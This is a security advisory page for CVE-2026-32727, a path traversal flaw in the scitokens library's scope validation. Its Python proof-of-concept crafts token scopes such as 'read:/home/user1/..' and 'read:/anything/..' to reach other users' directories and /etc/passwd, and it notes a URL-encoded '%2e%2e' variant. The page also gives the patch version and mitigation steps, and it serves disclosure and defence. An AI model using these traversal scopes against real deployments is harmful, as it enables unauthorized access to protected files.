CVE-2026-32727 is a high-severity (CVSS 8.1) Path Traversal vulnerability in scitokens. A fix is available for scitokens — see the affected versions and patch details below.
SciTokens: Authorization Bypass via Path Traversal in Scope Validation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32727.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
scitokensReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.
Details
File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path
Description
When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.
If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.
Vulnerable Logic Flow:
- Normalization: In
_check_scope, the path/home/user1/..is normalized to/home. - Comparison: In
_scope_path_matches, the requested path/home/user2is checked against the allowed path/home:return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True
Bypassing with URL Encoding:
Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.
Root Traversal:
A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).
Impact
An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.
Proof of Concept
The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):
- Scope:
read:/home/user1/..-> Access Granted to:/home/user2 - Scope:
read:/anything/..-> Access Granted to:/etc/passwd - Scope:
read:/foo/%2e%2e/bar-> Access Granted to:/bar
import scitokens
import os
import sys
# Ensure we can import from src
if os.path.exists("src"):
sys.path.append("src")
def test_path_traversal_bypass():
print("--- Proof of Concept: Path Traversal in Scope Validation ---")
issuer = "https://scitokens.org"
enforcer = scitokens.Enforcer(issuer)
# Imagine an application that expects to restrict a user to their own directory: /home/user1
# The application validates that the token has 'read' access to /home/user1
# MALICIOUS TOKEN
# An attacker provides a token with a scope that uses '..' to traverse up.
# 'read:/home/user1/..' effectively resolves to 'read:/home'
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/home/user1/.."
# VICTIM PATH
# The attacker tries to access a sibling directory (another user's data)
requested_path = "/home/user2"
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
# Internal normalization in Scitokens 1.9.6:
# urltools.normalize_path("/home/user1/..") -> "/home"
# urltools.normalize_path("/home/user2") -> "/home/user2"
# Since "/home/user2".startswith("/home") is True, access is granted.
print("\nTesting authorization...")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("\n[VULNERABILITY CONFIRMED]")
print(f"The Enforcer ALLOWED access to {requested_path}")
print(f"even though the scope was nominally restricted to /home/user1/..")
print("This bypasses the intended directory isolation.")
else:
print("\n[VULNERABILITY NOT REPRODUCED]")
print("The Enforcer blocked the access attempt.")
# Another example: Root traversal
print("\n--- Example 2: Root Traversal ---")
token['scope'] = "read:/anything/.." # Resolves to /
requested_path = "/etc/passwd" # Or any sensitive path
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")
if __name__ == "__main__":
test_path_traversal_bypass()
Recommended Fix
Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | scitokens | all versions | 1.9.7pip install --upgrade 'scitokens==1.9.7' |
Affected Products
scitokens libraryscitokensDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update scitokens to 1.9.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32727 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-32727 in your dependencies?
Find it across PyPI, including transitive dependencies.